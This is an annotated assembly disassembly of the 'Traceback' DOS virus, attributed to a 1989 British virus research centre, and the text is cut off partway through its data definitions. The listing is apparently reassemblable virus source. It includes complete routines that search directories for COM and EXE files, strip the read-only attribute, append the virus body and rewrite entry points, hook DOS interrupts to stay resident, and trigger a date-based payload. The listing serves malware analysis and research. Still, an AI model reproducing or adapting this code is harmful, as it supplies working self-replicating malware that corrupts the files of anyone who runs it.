page 65,132 title The 'Traceback' Virus ; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ; º British Computer Virus Research Centre º ; º 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England º ; º Telephone: Domestic 0273-26105, International +44-273-26105 º ; º º ; º The 'Traceback' Virus º ; º Disassembled by Joe Hirst, June 1989 º ; º º ; º Copyright (c) Joe Hirst 1989. º ; º º ; º This listing is only to be made available to virus researchers º ; º or software writers on a need-to-know basis. º ; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ; The disassembly has been tested by re-assembly using MASM 5.0. BOOT SEGMENT AT 0 ORG 24H BW0024 DW ? ; Int 9 offset BW0026 DW ? ; Int 9 segment ORG 70H BW0070 DW ? ; Int 1CH offset BW0072 DW ? ; Int 1CH segment ORG 80H BD0080 EQU THIS DWORD BW0080 DW ? ; Int 20H offset BW0082 DW ? ; Int 20H segment BW0084 DW ? ; Int 21H offset BW0086 DW ? ; Int 21H segment ORG 90H BW0090 DW ? ; Int 24H offset BW0092 DW ? ; Int 24H segment ORG 9CH BD009C EQU THIS DWORD BW009C DW ? ; Int 27H offset BW009E DW ? ; Int 27H segment ORG 449H BB0449 DB ? ; Current VDU mode BOOT ENDS CODE SEGMENT BYTE PUBLIC 'CODE' ASSUME CS:CODE,DS:CODE DW0000 DW 02EEBH ; \ Stored start of host program DB0002 DB 090H ; / DB0003 DB 0FFH DB0004 DB 0FBH ; Infection countdown DD0005 EQU THIS DWORD DW0005 DW 100H DW0007 DW 0CBBH DW0009 DW 4DH DB000B DB 0, 0 DB000D DB 0EBH, 2EH, 90H, 0FFH, 0FFH, 6CH, 6CH DB0014 DB 'o - Copyright S & S E', 29 DUP (0) CURDIR DB 0, 'PLIC', 60 DUP (0) ; Current directory DTAFLE DB 3, '????????COM ', 2, 0, 0, 0, 'c:\m ' DB 1AH, 0, 0AFH, 0AH, 95H, 58H, 0, 0 DB 'COMMAND.COM', 3 DUP (0) DTADIR DB 1, '???????????', 10H, 5, 7 DUP (0) DB 20H, 0E9H, 11H, 0B5H, 12H, 0F6H, 48H, 2, 0 DB 'CAT-TWO.ARC', 0, 0, 0 DB00DF DB 0 SEGREG DW 0AEBH PTHDSK DB 2 ; Pathname drive CURDSK DB 2 ; Current disk ATTR_F DW 0020H ; File attributes TIME_F DW 22B6H ; File time DATE_F DW 1174H ; File date I24_OF DW 04EBH ; Old Int 24H offset I24_SG DW 0A17H ; Old Int 24H segment CRTERR DB 0 ; Critical error flag F_HAND DW 0 ; File handle F_TIME DW 5951H ; File time F_DATE DW 0F8BH ; File date F_ATTR DW 0020H ; File attributes V_SIGN DB 056H, 047H, 031H ; Virus signature ; Entry point BP0010: JMP SHORT BP0020 DW SIGNAT BP0020: CALL BP0640 ; Get relocation constant in SI CALL BP0600 ; Set Int 24H vector MOV AH,19H ; Get current disk function INT 21H ; DOS service MOV PTH_OF[SI],SI ; \ Address of pathname ADD PTH_OF[SI],OFFSET DB0884 ; / MOV PTH_SG[SI],CS ; Segment of pathname MOV CURDSK[SI],AL ; Save current disk CALL BP0510 ; Get installed virus segment MOV DL,PTHDSK[DI] ; Get pathname drive in installed virus MOV AX,DS ; Get segment in installed virus PUSH CS ; \ Set DS to CS POP DS ; / JNZ BP0030 ; Branch if not installed MOV PTH_OF[SI],OFFSET DB0884+100H ; Pathname in installed virus MOV PTH_SG[SI],AX ; Segment in installed virus CMP DL,0FFH ; Is there a pathname drive? JE BP0030 ; Branch if not MOV AH,0EH ; Select disk function INT 21H ; DOS service BP0030: MOV BYTE PTR SWTCHB[SI],80H ; Set on switch eight MOV F_HAND[SI],0 ; Clear file handle MOV AH,2AH ; Get date function INT 21H ; DOS service CMP CX,07C4H ; Is year 1988? JGE BP0040 ; Branch if not before JMP SHORT BP0070 PTH_OF DW 0F8CH ; Offset of pathname PTH_SG DW 0AEBH ; Segment of pathname ISWTCH DB 0 ; Infected file switch ; 1988 or later BP0040: JG BP0050 ; Branch if after 1988 CMP DH,0CH ; Is month December? JL BP0070 ; Branch if not CMP DL,5 ; 5th of December? JL BP0070 ; Branch if before CMP DL,1CH ; 28th of December? JL BP0060 ; Branch if before BP0050: MOV DSPCNT[SI],0FFDCH ; Start display count (60 mins) MOV BYTE PTR SWTCHB[SI],88H ; Switches four & eight BP0060: CMP DB0004[SI],0F8H ; Has infection count reached target? JNB BP0080 ; Branch if not ASSUME DS:NOTHING BP0070: MOV CRTERR[SI],0 ; Clear critical error flag JMP BP0270 ; Unreachable code ASSUME DS:CODE CMP DB0004[SI],0F8H ; Has infection count reached target? JNB BP0080 ; Branch if not OR BYTE PTR SWTCHB[SI],4 ; Set on switch three BP0080: MOV DB00DF[SI],0 ; Set not-first-time switch off MOV DX,PTH_OF[SI] ; Get pathname offset MOV DS,PTH_SG[SI] ; Get pathname segment MOV AX,4300H ; Get attributes function CALL BP0230 ; Perform a DOS service JB BP0090 ; Branch if error ASSUME DS:NOTHING MOV F_ATTR[SI],CX ; Save file attributes AND CL,0FEH ; Switch off read-only MOV AX,4301H ; Set attributes function CALL BP0230 ; Perform a DOS service JB BP0090 ; Branch if error MOV AX,3D02H ; Open handle R/W function INT 21H ; DOS service JB BP0090 ; Branch if error PUSH CS ; \ Set DS to CS POP DS ; / ASSUME DS:CODE MOV F_HAND[SI],AX ; Save file handle MOV BX,AX ; Move file handle MOV AX,5700H ; Get file date and time function INT 21H ; DOS service MOV F_TIME[SI],CX ; Save file time MOV F_DATE[SI],DX ; Save file date DEC DB0004[SI] ; Decrement infection count MOV DX,FLENLO[SI] ; Get file length, low word MOV CX,FLENHI[SI] ; Get file length, high word ADD DX,OFFSET DB0004 ; \ Add to length ADC CX,0 ; / MOV AX,4200H ; Move file pointer (start) function INT 21H ; DOS service BP0090: PUSH CS ; \ Set DS to CS POP DS ; / TEST BYTE PTR SWTCHB[SI],4 ; Test switch three JZ BP0100 ; Branch if off CALL BP0330 ; Write infection count JMP BP0270 ; Change directory to root BP0100: XOR DL,DL ; Default drive MOV AH,47H ; Get current directory function PUSH SI ADD SI,46H ; Address directory store INT 21H ; DOS service POP SI CMP CRTERR[SI],0 ; Test critical error flag JNE BP0110 ; Branch if set CALL BP0250 ; Make root dir current dir JNB BP0120 ; Branch if no error BP0110: JMP BP0070 ; Find COM files BP0120: MOV DX,SI ; \ Address DTA area ADD DX,OFFSET DTAFLE ; / MOV AH,1AH ; Set DTA function INT 21H ; DOS service MOV [SI+5],'.*' ; \ MOV [SI+7],'OC' ; ) '*.COM' MOV WORD PTR [SI+9],'M' ; / MOV AH,4EH ; Find first file function MOV DX,SI ; \ Address file spec ADD DX,5 ; / BP0130: MOV CX,0020H ; Attributes - archive CALL BP0230 ; Perform a DOS service JB BP0160 ; Move on to EXE files MOV DX,SI ; \ Address filename in DTA ADD DX,OFFSET DTAFLE+1EH ; / MOV ISWTCH[SI],0 ; Set infected file switch off CALL BP0350 ; Process file JB BP0150 ; Error or infected file found CALL BP0330 ; Write infection count BP0140: JMP BP0260 BP0150: CMP CRTERR[SI],0 ; Test critical error flag JNE BP0140 ; Branch if set CMP ISWTCH[SI],0 ; Test infected file switch JNE BP0200 ; Branch if on MOV AH,4FH ; Find next file function JMP BP0130 ; Find EXE files BP0160: MOV [SI+7],'XE' ; \ '*.EXE' MOV WORD PTR [SI+9],'E' ; / MOV AH,4EH ; Find first file function MOV DX,SI ; \ Address file spec ADD DX,5 ; / BP0170: MOV CX,0020H ; Attributes - archive CALL BP0230 ; Perform a DOS service JB BP0200 ; No more files MOV DX,SI ; \ Address filename in DTA ADD DX,OFFSET DTAFLE+1EH ; / MOV ISWTCH[SI],0 ; Set infected file switch off CALL BP0350 ; Process file JB BP0190 ; Error or infected file found CALL BP0330 ; Write infection count BP0180: JMP BP0260 ASSUME DS:NOTHING BP0190: CMP CRTERR[SI],0 ; Test critical error flag JNE BP0180 ; Branch if set ASSUME DS:CODE CMP ISWTCH[SI],0 ; Test infected file switch JNE BP0200 ; Branch if on MOV AH,4FH ; Find next file function JMP BP0170 BP0200: CALL BP0250 ; Make root dir current dir MOV DX,SI ; \ Address 2nd DTA ADD DX,OFFSET DTADIR ; / MOV AH,1AH ; Set DTA function INT 21H ; DOS service BP0210: MOV AH,4FH ; Find next file function MOV CX,0010H ; Find directories CMP DB00DF[SI],0 ; First time? JNE BP0220 ; Branch if not MOV DB00DF[SI],1 ; Set not-first-time switch MOV [SI+5],'.*' ; \ '*.*' MOV WORD PTR [SI+7],'*' ; / MOV AH,4EH ; Find first file function MOV DX,SI ; \ Address file spec ADD DX,5 ; / BP0220: CALL BP0230 ; Perform a DOS service JB BP0260 ; No more files TEST DTADIR[SI+15H],10H ; Is it a directory? JZ BP0210 ; Branch if not MOV DX,SI ; \ Address file name in DTA ADD DX,OFFSET DTADIR+1EH ; / MOV AH,3BH ; Change current directory function CALL BP0230 ; Perform a DOS service JB BP0260 ; Branch if error JMP BP0120 ; Look for COM files ; Perform a DOS service BP0230: INT 21H ; DOS service JB BP0240 ; Branch if error ASSUME DS:NOTHING TEST CRTERR[SI],0FFH ; Test critical error flag JZ BP0240 ; Branch if not set STC BP0240: RET ; Make root dir current dir BP0250: MOV WORD PTR [SI+5],'\' ; Root dir MOV DX,SI ; \ Address root dir pathname ADD DX,5 ; / MOV AH,3BH ; Change current directory function CALL BP0230 ; Perform a DOS service RET ASSUME DS:CODE BP0260: CALL BP0250 ; Make root dir current dir MOV DX,SI ; \ Address ADD DX,46H ; / MOV AH,3BH ; Change current directory function INT 21H ; DOS service BP0270: MOV BX,F_HAND[SI] ; Get file handle OR BX,BX ; Test for a handle JZ BP0290 ; Branch if none MOV CX,F_ATTR[SI] ; Get file attributes MOV DX,PTH_OF[SI] ; Get pathname offset MOV DS,PTH_SG[SI] ; Get pathname segment CMP CX,20H ; Are attributes archive? JE BP0280 ; Branch if yes MOV AX,4301H ; Set attributes function INT 21H ; DOS service BP0280: PUSH CS ; \ Set DS to CS POP DS ; / MOV CX,F_TIME[SI] ; Get file time MOV DX,F_DATE[SI] ; Get file date MOV AX,5701H ; Set file date and time function INT 21H ; DOS service MOV AH,3EH ; Close handle function INT 21H ; DOS service BP0290: MOV DL,CURDSK[SI] ; Get current disk MOV AH,0EH ; Select disk function INT 21H ; DOS service CALL BP0610 ; Restore Int 24H vector POP AX ; ? MOV SEGREG[SI],AX ; Save segment CMP BYTE PTR [SI+3],0FFH ; Should virus be installed? JE BP0300 ; Branch if yes ADD AX,0010H ; Add PSP length to segment ADD WORD PTR [SI+2],AX ; Store segment POP AX ; ? POP DS ; ? JMP DWORD PTR CS:[SI] ; Branch to ? ; Install resident copy of virus BP0300: CALL BP0510 ; Get installed virus segment PUSH CS ; \ Set DS to CS POP DS ; / MOV AX,[SI] ; \ Replace first word of host MOV DW0000+100H,AX ; / MOV AL,[SI+2] ; \ Replace third byte of host MOV DB0002+100H,AL ; / JZ BP0310 ; Branch if installed MOV BX,DS ; Get current segment ADD BX,01D0H ; Add length of installed segment MOV ES,BX ; Segment to copy to MOV DI,SI ; Start of virus MOV DX,SI ; Copy relocation factor MOV CX,OFFSET ENDADR ; Length of virus CALL BP1160 ; Copy virus and transfer control MOV CX,DX ; Relocation factor (as length) MOV SI,DX ; Relocation factor as source DEC SI ; Back one byte MOV DI,SI ; Same offset as target STD ; Going backwards REPZ MOVSB ; Copy host program PUSH DS ; \ Set ES to DS POP ES ; / MOV DI,0100H ; Target following PSP MOV DS,BX ; Current segment as source MOV SI,DX ; Start of virus MOV CX,OFFSET ENDADR ; Length of virus CALL BP1160 ; Copy virus and transfer control MOV SI,0100H ; New relocation factor PUSH CS ; \ Set DS to CS POP DS ; / CALL BP0580 ; Install interrupts MOV DX,01D0H ; Get length of installed segment BP0310: MOV DI,CS ; \ New segment for host ADD DI,DX ; / MOV WORD PTR [SI+5],0100H ; Host offset MOV [SI+7],DI ; Host segment POP AX ; ? POP DS ; ? MOV DS,DI ; \ MOV ES,DI ; ) Set up other segment registers MOV SS,DI ; / XOR BX,BX ; Clear register XOR CX,CX ; Clear register XOR BP,BP ; Clear register JMP DWORD PTR CS:[SI+5] ; Branch to host program ; Clear error flag and return ASSUME DS:NOTHING BP0320: MOV CRTERR[SI],0 ; Clear critical error flag RET ; Write infection count ASSUME DS:CODE BP0330: MOV BX,F_HAND[SI] ; Get file handle OR BX,BX ; Test for a handle JZ BP0340 ; Branch if none MOV DX,SI ; \ Address infection count ADD DX,OFFSET DB0004 ; / MOV CX,1 ; Length to write MOV AH,40H ; Write handle function INT 21H ; DOS service BP0340: RET ; Process file BP0350: PUSH DX MOV AH,19H ; Get current disk function INT 21H ; DOS service ADD AL,'A' ; Convert to letter MOV AH,':' ; Disk separator MOV WORD PTR DB0884[SI],AX ; Disk in pathname MOV BYTE PTR DB0884[SI+2],'\' ; Root directory in pathname PUSH SI ADD SI,OFFSET DB0884+3 ; Address next position in pathname MOV AH,47H ; Get current directory function MOV DI,SI ; Buffer area XOR DL,DL ; Default drive INT 21H ; DOS service POP SI DEC DI ; Back one character BP0360: INC DI ; Next character MOV AL,[DI] ; Get character OR AL,AL ; Is it zero JNZ BP0360 ; Branch if not POP BX MOV BYTE PTR [DI],'\' ; Store directory separator INC DI ; Next position MOV DX,BX ; Copy filename pointer BP0370: MOV AL,[BX] ; Get character MOV [DI],AL ; Store in pathname INC BX ; Next input position INC DI ; Next output position OR AL,AL ; End of filename? JNZ BP0370 ; Next character if not BP0380: MOV AX,4300H ; Get attributes function CALL BP0230 ; Perform a DOS service JB BP0320 ; Branch if error ASSUME DS:NOTHING MOV ATTR_F[SI],CX ; Save attributes AND CX,00FEH ; Set off read only MOV AX,4301H ; Set attributes function CALL BP0230 ; Perform a DOS service JB BP0320 ; Branch if error MOV AX,3D02H ; Open handle R/W function CALL BP0230 ; Perform a DOS service JB BP0320 ; Branch if error MOV BX,AX ; Move handle PUSH DS PUSH DX CALL BP0400 ; Infect file if not infected POP DX POP DS PUSHF MOV CX,ATTR_F[SI] ; Get attributes CMP CX,20H ; Archive only? JE BP0390 ; Branch if yes MOV AX,4301H ; Set attributes function INT 21H ; DOS service BP0390: MOV CX,TIME_F[SI] ; Get file time MOV DX,DATE_F[SI] ; Get file date MOV AX,5701H ; Set file date and time function INT 21H ; DOS service MOV AH,3EH ; Close handle function INT 21H ; DOS service POPF RET ; Infect file if not infected BP0400: MOV AX,5700H ; Get file date and time function INT 21H ; DOS service PUSH CS ; \ Set DS to CS POP DS ; / ASSUME DS:CODE MOV TIME_F[SI],CX ; Save file time MOV DATE_F[SI],DX ; Save file date MOV DX,SI ; \ Address buffer ADD DX,0DH ; / MOV DI,DX ; Copy this address MOV AH,3FH ; Read handle function MOV CX,001CH ; EXE header length INT 21H ; DOS service CMP WORD PTR [DI],'ZM' ; EXE header? JE BP0430 ; Branch if yes CALL BP0500 ; Move pointer to end of file ADD AX,OFFSET SIGNAT+100H ; Add length of virus JB BP0410 ; Branch if too big for a COM CMP BYTE PTR [DI],0E9H ; Does it start with a near jump? JNE BP0420 ; Branch if not MOV DX,[DI+1] ; Get displacement from jump XOR CX,CX ; Clear top MOV AX,4200H ; Move file pointer (start) function INT 21H ; DOS service MOV DX,DI ; Read buffer ADD DX,001CH ; Add length of EXE header MOV AH,3FH ; Read handle function MOV CX,3 ; Length to read INT 21H ; DOS service CALL BP0440 ; Test virus signature on file JNB BP0420 ; Branch if not present ASSUME DS:NOTHING MOV ISWTCH[SI],1 ; Set infected file switch on BP0410: RET ASSUME DS:CODE BP0420: CALL BP0500 ; Move pointer to end of file MOV FLENLO[SI],AX ; Save file length, low word MOV FLENHI[SI],DX ; Save file length, high word PUSH AX MOV WORD PTR [DI+3],0FFFFH ; Initialise count MOV CX,5 ; Length to write MOV AH,40H ; Write handle function MOV DX,DI ; Address start of buffer INT 21H ; DOS service MOV DX,SI ; \ Address start of virus ADD DX,5 ; / MOV CX,OFFSET SIGNAT ; Length of virus MOV AH,40H ; Write handle function INT 21H ; DOS service MOV AX,4200H ; Move file pointer (start) function XOR CX,CX ; \ No displacement XOR DX,DX ; / INT 21H ; DOS service MOV BYTE PTR [DI],0E9H ; Near jump instruction POP AX ; Recover length of file ADD AX,OFFSET BP0010-3 ; Jump offset to entry point MOV [DI+1],AX ; Store in jump instruction MOV DX,DI ; Address of jump instruction MOV CX,3 ; Length to write MOV AH,40H ; Write handle function INT 21H ; DOS service CLC RET ; EXE file BP0430: CMP WORD PTR [DI+0CH],0FFFFH ; Is max alloc asking for maximum? JNE BP0450 ; Branch if not PUSH SI MOV SI,[DI+14H] ; Get initial offset MOV CX,[DI+16H] ; Get initial segment MOV AX,CX ; Copy segment MOV CL,CH ; Move top byte down XOR CH,CH ; Clear top SHR CX,1 ; \ SHR CX,1 ; \ Move top nibble into position SHR CX,1 ; / SHR CX,1 ; / SHL AX,1 ; \ SHL AX,1 ; \ Move rest of segment SHL AX,1 ; / SHL AX,1 ; / ADD SI,AX ; \ Add to offset ADC CX,0 ; / SUB SI,3 ; \ Subtract length of signature SBB CX,0 ; / MOV AX,[DI+8] ; Get size of header CALL BP0490 ; Move segment to two-register offset ADD SI,AX ; \ Add to starting position ADC CX,DX ; / MOV DX,SI ; Move low word POP SI MOV AX,4200H ; Move file pointer (start) function INT 21H ; DOS service MOV DX,DI ; Address buffer ADD DX,001CH ; Add length of EXE header MOV AH,3FH ; Read handle function MOV CX,3 ; Length to read INT 21H ; DOS service CALL BP0440 ; Test virus signature on file JNB BP0480 ; Branch if not present ASSUME DS:NOTHING MOV ISWTCH[SI],1 ; Set infected file switch on RET ; Test virus signature on file BP0440: CMP WORD PTR [DI+1CH],4756H ; Look for virus signature JNE BP0470 ; Branch if not found CMP BYTE PTR [DI+1EH],31H ; Look for rest of signature JNE BP0470 ; Branch if not found BP0450: STC BP0460: RET BP0470: CLC RET ; Infect EXE file ASSUME DS:CODE BP0480: CALL BP0500 ; Move pointer to end of file MOV FLENLO[SI],AX ; Save file length, low word MOV FLENHI[SI],DX ; Save file length, high word MOV CX,[DI+4] ; Get size of file in pages SHL CX,1 ; Multiply by two XCHG CH,CL ; Reverse bytes MOV BP,CX ; Copy AND BP,0FF00H ; Convert to bytes (low word) XOR CH,CH ; Convert to bytes (high word) ADD BP,[DI+6] ; \ Add number of relocation entries ADC CX,0 ; / SUB BP,AX ; \ Subtract current length SBB CX,DX ; / JB BP0460 ; Branch if overlay PUSH AX ; Save length of host, low word PUSH DX ; Save length of host, high word PUSH [DI+18H] ; Save offset to relocation table MOV BYTE PTR [DI+18H],0FFH ; Original entry address marker MOV CX,5 ; Length to write MOV AH,40H ; Write handle function MOV DX,DI ; \ Address host entry address ADD DX,14H ; / INT 21H ; DOS service POP [DI+18H] ; Recover offset to relocation table MOV DX,SI ; \ Address start of virus ADD DX,5 ; / MOV CX,OFFSET SIGNAT ; Length of virus MOV AH,40H ; Write handle function INT 21H ; DOS service MOV AX,4200H ; Move file pointer (start) function XOR CX,CX ; \ No displacement XOR DX,DX ; / INT 21H ; DOS service POP [DI+16H] ; Recover length of host, high word POP [DI+14H] ; Recover length of host, low word ADD WORD PTR [DI+14H],00FAH ; \ Add entry point ADC WORD PTR [DI+16H],0 ; / MOV AX,[DI+8] ; Get size of header CALL BP0490 ; Move segment to two-register offset SUB [DI+14H],AX ; \ Subtract size of header SBB [DI+16H],DX ; / MOV CL,0CH ; Bits to move SHL WORD PTR [DI+16H],CL ; Convert high word to segment MOV AX,OFFSET ENDADR ; Length of virus ADD AX,[DI+2] ; Add bytes in last paragraph MOV [DI+2],AX ; Store new figure AND [DI+2],01FFH ; Set off top bits MOV AL,AH ; Copy high byte XOR AH,AH ; Clear top of register SHR AX,1 ; Divide by two ADD [DI+4],AX ; Add to pages MOV DX,DI ; Move address of EXE header MOV CX,001CH ; EXE header length MOV AH,40H ; Write handle function INT 21H ; DOS service CLC RET ; Move segment to two-register offset BP0490: XOR DX,DX ; Clear register SHL AX,1 ; \ Move double one bit RCL DX,1 ; / SHL AX,1 ; \ Move double one bit RCL DX,1 ; / SHL AX,1 ; \ Move double one bit RCL DX,1 ; / SHL AX,1 ; \ Move double one bit RCL DX,1 ; / RET ; Move pointer to end of file BP0500: XOR DX,DX ; \ No displacement XOR CX,CX ; / MOV AX,4202H ; Move file pointer (EOF) function INT 21H ; DOS service RET ; Get installed virus segment BP0510: XOR AX,AX ; \ Address zero MOV DS,AX ; / LDS DI,BD009C ; Load Int 27H vector LDS DI,[DI+1] ; Get vector from far jump MOV AX,DI ; Save offset SUB DI,OFFSET BP0780-V_SIGN ; Address from jump to old Int 27H CALL BP0530 ; Test virus signature in memory JZ BP0520 ; Branch if found MOV DI,AX ; Retrieve offset SUB DI,OFFSET BP0770-V_SIGN ; Address from new Int 27H routine CALL BP0530 ; Test virus signature in memory JZ BP0520 ; Branch if found LDS DI,BD0080 ; Load Int 20H vector LDS DI,[DI+1] ; Get vector from far jump MOV AX,DI ; Save offset SUB DI,OFFSET BP0630-V_SIGN ; Address from jump to old Int 20H CALL BP0530 ; Test virus signature in memory JZ BP0520 ; Branch if found MOV DI,AX ; Retrieve offset SUB DI,OFFSET BP0620-V_SIGN ; Address from new Int 27H routine CALL BP0530 ; Test virus signature in memory BP0520: RET ; Test virus signature in memory BP0530: XOR DX,DX ; Clear register CMP WORD PTR [DI],4756H ; Look for virus signature JNE BP0540 ; Branch if not present CMP BYTE PTR [DI+2],31H ; Look for rest of signature JE BP0550 ; Branch if there BP0540: INC DX ; Set no virus marker BP0550: SUB DI,OFFSET V_SIGN ; Subtract offset of signature OR DX,DX ; Test no virus marker RET ; Create far jump BP0560: MOV AL,0EAH ; Far jump STOSB ; Store jump instruction MOV AX,CX ; \ Address routine ADD AX,SI ; / STOSW ; Store offset MOV AX,CS ; Get segment STOSW ; Store segment BP0570: RET ; Install interrupts BP0580: OR DX,DX JZ BP0570 ; Dont install if yes PUSH DS PUSH ES MOV ES,SEGREG[SI] ; Get segment register MOV DI,00ECH ; Address far jump table CLD MOV CX,OFFSET BP0880 ; Int 1CH routine CALL BP0560 ; Create Int 1CH far jump MOV CX,OFFSET BP0620 ; Int 20H routine CALL BP0560 ; Create Int 20H far jump MOV CX,OFFSET BP0700 ; Int 21H routine CALL BP0560 ; Create Int 21H far jump MOV CX,OFFSET BP0770 ; Int 27H routine CALL BP0560 ; Create Int 27H far jump XOR AX,AX ; \ Address zero MOV DS,AX ; / ASSUME DS:BOOT CLI MOV AX,00ECH ; Address Int 1CH far jump XCHG AX,BW0070 ; Install as Int 1CH offset MOV CS:I1C_OF[SI],AX ; Save old Int 1CH offset MOV AX,ES ; Get this segment XCHG AX,BW0072 ; Install as Int 1CH segment MOV CS:I1C_SG[SI],AX ; Save old Int 1CH segment MOV AX,00F1H ; Address Int 20H far jump XCHG AX,BW0080 ; Install as Int 20H offset MOV CS:I20_OF[SI],AX ; Save old Int 20H offset MOV AX,ES ; Get this segment XCHG AX,BW0082 ; Install as Int 20H segment MOV CS:I20_SG[SI],AX ; Save old Int 20H segment MOV AX,00F6H ; Address Int 21H far jump XCHG AX,BW0084 ; Install as Int 21H offset MOV CS:I21_OF[SI],AX ; Save old Int 21H offset MOV AX,ES ; Get this segment XCHG AX,BW0086 ; Install as Int 21H segment MOV CS:I21_SG[SI],AX ; Save old Int 21H segment MOV AX,00FBH ; Address Int 27H far jump XCHG AX,BW009C ; Install as Int 27H offset MOV CS:I27_OF[SI],AX ; Save old Int 27H offset MOV AX,ES ; Get this segment XCHG AX,BW009E ; Install as Int 27H segment MOV CS:I27_SG[SI],AX ; Save old Int 27H segment POP ES POP DS STI RET ; Reset interrupts ASSUME DS:CODE BP0590: PUSH ES MOV ES,SEGREG[SI] ; Get segment register MOV DI,00F1H ; Address far jump table (2nd entry) CLD MOV CX,OFFSET BP0630 ; Jump to old Int 20H CALL BP0560 ; Create Int 20H far jump MOV CX,OFFSET BP0720 ; Alternate Int 21H routine CALL BP0560 ; Create Int 21H far jump MOV CX,OFFSET BP0780 ; Jump to old Int 27H CALL BP0560 ; Create Int 27H far jump POP ES RET ; Set Int 24H vector BP0600: PUSH ES XOR AX,AX ; \ Address zero MOV ES,AX ; / ASSUME ES:BOOT MOV AX,OFFSET BP0790 ; \ Interrupt 24H routine ADD AX,SI ; / XCHG AX,BW0090 ; Install as Int 24H offset MOV I24_OF[SI],AX ; Save old Int 24H offset MOV AX,CS ; Get this segment XCHG AX,BW0092 ; Install as Int 24H segment MOV I24_SG[SI],AX ; Save old Int 24H segment POP ES MOV CRTERR[SI],0 ; Clear critical error flag RET ; Restore Int 24H vector ASSUME DS:NOTHING BP0610: PUSH ES XOR AX,AX ; \ Address zero MOV ES,AX ; / MOV AX,I24_OF[SI] ; Get old Int 24H offset MOV BW0090,AX ; Restore Int 24H offset MOV AX,I24_SG[SI] ; Get old Int 24H segment MOV BW0092,AX ; Restore Int 24H segment POP ES ASSUME ES:NOTHING RET ; Interrupt 20H routine BP0620: JMP BP0680 ; Interrupt 20H - jump to original routine BP0630: DB 0EAH ; Far jump to Int 20H I20_OF DW 0136CH ; Original Int 20H offset I20_SG DW 00291H ; Original Int 20H segment ; Get relocation constant in SI BP0640: POP BX ; Get return address PUSH DS PUSH AX PUSH DS PUSH CS ; \ Set DS to CS POP DS ; / ASSUME DS:CODE CALL BP0650 ; \ Get current address BP0650: POP SI ; / SUB SI,OFFSET BP0650 ; Subtract displacement from it JMP BX ; Branch to return address ; Free or allocate memory functions BP0660: CALL BP0640 ; Get relocation constant in SI PUSH CX MOV AX,[SI+7] ; Get host segment MOV CX,ES ; Get relevant segment CMP AX,CX ; Are they the same? POP CX POP DS POP AX JNE BP0670 ; Branch if different PUSH CS ; \ Set ES to CS POP ES ; / CMP AH,49H ; Free memory? JE BP0670 ; Branch if yes ADD BX,01D0H ; Add length of installed segment BP0670: POP DS JMP BP0710 ; Pass on to old Int 21H ; Program termination (Int 20H, or functions 0 or 4CH) BP0680: XOR DX,DX ; Nothing to keep BP0690: CALL BP0640 ; Get relocation constant in SI PUSH ES PUSH DX CLI CALL BP0590 ; Reset interrupts STI POP AX MOV DX,01D0H ; Length of installed segment ADD DX,AX ; Add length for host ADD DX,10H ; Add PSP length (?) POP ES POP DS POP AX POP DS MOV AH,31H ; Keep process function JMP SHORT BP0710 ; Pass on to old Int 21H ; Interrupt 21H routine BP0700: CMP AH,4CH ; \ End process function? JE BP0680 ; / CMP AH,31H ; \ Keep process function? JE BP0690 ; / OR AH,AH ; \ Terminate program function? JZ BP0680 ; / CMP AH,49H ; \ Free allocated memory function? JE BP0660 ; / CMP AH,4AH ; \ Set block function? JE BP0660 ; / CMP AH,4BH ; \ Load function? JE BP0730 ; / BP0710: DB 0EAH ; Far jump to Int 21H I21_OF DW 0138DH ; Original Int 21H offset I21_SG DW 00291H ; Original Int 21H segment ; Alternate Interrupt 21H - only intercept load BP0720: CMP AH,4BH ; Load function? JNE BP0710 ; Branch if not BP0730: PUSH CX PUSH DX PUSH ES PUSH BX PUSH SI PUSH DI PUSH BP CALL BP0640 ; Get relocation constant in SI CALL BP0600 ; Set Int 24H vector BP0740: STI TEST BYTE PTR SWTCHB+100H,2 ; Test switch two JNZ BP0740 ; Branch if on CLI TEST BYTE PTR SWTCHB+100H,2 ; Test switch two JNZ BP0740 ; Branch if on OR BYTE PTR SWTCHB+100H,2 ; Set on switch two POP DS ASSUME DS:NOTHING MOV BX,DX ; Pathname pointer MOV PTHDSK[SI],0FFH ; Set drive to none CMP BYTE PTR [BX+01],':' ; Does pathname include drive? JNE BP0750 ; Branch if not MOV AL,[BX] ; Get drive letter OR AL,20H ; Convert to lowercase SUB AL,'a' ; Convert to number MOV PTHDSK[SI],AL ; Store drive BP0750: PUSH SI PUSH DI PUSH ES CLD MOV SI,DX ; Pathname pointer PUSH CS ; \ Set ES to CS POP ES ; / MOV DI,OFFSET DB0884+100H ; Pathname BP0760: LODSB ; Get a character STOSB ; Store a character OR AL,AL ; Was that the last? JNZ BP0760 ; Branch if not POP ES POP DI POP SI CALL BP0380 ; Process file CALL BP0610 ; Restore Int 24H vector AND BYTE PTR CS:SWTCHB+100H,0FDH ; Set off switch two POP AX POP DS POP BP POP DI POP SI POP BX POP ES POP DX POP CX JMP BP0710 ; Pass on to old Int 21H ; Interrupt 27H routine BP0770: ADD DX,0FH ; Round up MOV CL,4 ; Bits to shift SHR DX,CL ; Convert to paragraphs JMP BP0690 ; Keep process ; Interrupt 27H - jump to original routine BP0780: DB 0EAH ; Far jump to Int 27H I27_OF DW 05DFEH ; Original Int 27H offset I27_SG DW 00291H ; Original Int 27H segment ; Interrupt 24H routine BP0790: PUSH SI CALL BP0800 ; \ Get current location BP0800: POP SI ; / SUB SI,OFFSET BP0800 ; Subtract offset OR CRTERR[SI],1 ; Set critical error flag POP SI XOR AL,AL ; No action IRET DB086E DB 1 ; Past second line indicator DB 0 DB0870 DB 0 ; Characters going down switch DB 0 SWTCHB DB 82H ; Switch byte ; 01 - switch one - alternate timer tick ; 02 - switch two - processing file ; 04 - switch three - infection count target reached ; 08 - switch four - count two started ; 10 - switch five - don't go to start of line ; 20 - switch six - count two started and finished (?) ; 40 - switch seven - count two finished ; 80 - switch eight - video display permitted I09_OF DW 0 ; Old Int 9 offset I09_SG DW 0 ; Old Int 9 